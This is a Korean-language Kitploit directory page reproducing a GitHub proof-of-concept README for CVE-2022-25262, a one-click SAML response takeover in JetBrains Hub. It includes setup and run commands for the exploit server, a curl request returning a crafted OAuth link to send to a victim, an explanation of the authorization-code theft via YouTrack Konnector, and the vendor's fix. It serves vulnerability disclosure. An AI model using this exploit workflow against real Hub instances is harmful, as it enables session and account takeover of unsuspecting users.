Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-25262 — PoC + 취약점 세부 정보: CVE-2022-25262 / JetBrains Hub 단일 클릭 SAML 응답 탈취 | Kitploit
도구/GitHubGitHub/yuriisanin/cve-2022-25262
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHubyuriisanin/cve-2022-25262

CVE-2022-25262

PoC + 취약점 세부 정보: CVE-2022-25262 / JetBrains Hub 단일 클릭 SAML 응답 탈취

저장소 보기
1754년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-25262

CVE-2022-25262에 대한 PoC + 취약점 세부 정보 | JetBrains Hub 원클릭 SAML 응답 탈취

  • CVE-2022-25262
    • 요구 사항
    • 사용법
    • 어떻게 동작하나요?
      • "OAuth2 -> SAML" 교환을 위한 인증 코드 풀
      • YouTrack Konnector OAuth2 인증 코드 탈취 (설계상)
      • 완화 조치

요구 사항

  • JetBrains Hub <2022.1.14434
  • SAML IdP로 구성된 JetBrains Hub
  • "YouTrack Konnektor" 서비스 설치 (YouTrack에 번들로 포함)

사용법

설치 및 실행:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

  usage: exploit.py [-h] [-p P]

  optional arguments:
    -h, --help  show this help message and exit
    -p P        Uvicorn port
    
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000

사용법:

  1. "GET /get-exploit-link" 엔드포인트를 사용하여 익스플로잇 링크를 받습니다.
  2. 링크를 피해자에게 보냅니다.

쿼리 매개변수:

익스플로잇 링크 가져오기:

root@kitploit:~
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"

* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
< 
* Connection #0 to host {exploit-host-ip} left intact

{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}

데모:

CVE-2022-25262 데모

어떻게 동작하나요?

이 취약점은 두 부분으로 구성됩니다:

  • "OAuth2 -> SAML" 교환 프로세스에 OAuth2 인증 코드 풀을 사용.
  • YouTrack Konnector 통합을 사용한 인증 코드 탈취.

"OAuth2 -> SAML" 교환을 위한 인증 코드 풀

SAML IdP는 OAuth의 확장으로 작동합니다. 특정 사용자가 특정 서비스 제공업체에 로그인하려고 하면 OAuth 인증 코드 권한 부여 흐름을 거치며 (요청 1-2), 코드를 획득한 후 Hub에 코드를 반환합니다 (요청 3). Hub는 코드와 연결된 사용자 정보를 가져와 서비스에 대한 서명된 SAML 응답을 발급합니다. SAML IdP는 통합을 위해 Hub OAuth2 클라이언트(client_id=0-0-0-0-0)를 사용하지만, 코드가 어떤 OAuth 클라이언트를 대신하여 발급되었는지는 확인하지 않습니다. 여기서 중요한 유일한 것은 코드가 유효한지 여부입니다. 공격자가 Hub에 등록된 임의의 OAuth 클라이언트에서 인증 코드를 탈취할 방법을 찾으면 SAML 응답 탈취로 이어질 수 있습니다.

oauth2-saml-exchange

YouTrack Konnector OAuth2 인증 코드 탈취 (설계상)

YouTrack Konnector는 특정 YouTrack 인스턴스를 Slack 봇과 연결할 수 있게 해주는 퍼스트파티 서비스입니다. 이 서비스는 YouTrack의 URL 주소와 Konnector OAuth 클라이언트의 ID 및 시크릿을 입력받습니다 (요청 1). 그런 다음 여러 API 엔드포인트를 호출하여 제공된 URL이 유효한 YouTrack을 가리키는지 확인하려고 시도합니다 ("핸드셰이크" 요청 2-3). 모든 것이 정상이면 Konnector는 특정 사용자가 OAuth 코드 권한 부여 흐름을 진행할 수 있게 해주는 URL을 반환합니다 (응답 1). 이 URL에는 Konnector가 OAuth 인증 코드를 적절한 핸들러(Hub 인스턴스)로 라우팅하는 데 도움이 되는 "state" 쿼리 매개변수가 포함되어 있습니다. 공격자는 "핸드셰이크"에 필요한 엔드포인트를 갖춘 호스트를 만들고 공격자의 호스트를 가리키는 "state" 매개변수를 획득할 수 있습니다. 그 후 공격자는 OAuth 인증 URL을 제작하여 피해자에게 보낼 수 있습니다. 피해자가 링크를 클릭하고 OAuth 흐름을 완료하면(Hub에 유효한 세션이 있어야 함), Konnector 서비스는 코드를 수신하여 공격자의 호스트로 전송합니다 (요청 4-6).

slack-service-authz-code-takeover

완화 조치

YouTrack 팀은 "OAuth2 -> SAML" 교환 프로세스 중 "JetBrains Hub Service" OAuth 클라이언트에 대해 발급된 인증 코드만 사용할 수 있도록 하는 검사를 추가했습니다. 결과적으로 "YouTrack Konnector" OAuth 클라이언트에 대해 발급된 인증 코드를 교환할 방법은 없습니다.

지원

저를 Twitter, GitHub, YouTube에서 팔로우할 수 있습니다.

도구 다운로드
이름설명필수
hub_url대상 Hub 인스턴스의 URL✅
issuerSAML 발급자✅
acs_url어서션 컨슈머 서비스 URL✅
youtrack_urlHub에 연결된 YouTrack 인스턴스의 URL (게스트 사용자가 비활성화된 경우 필요)❔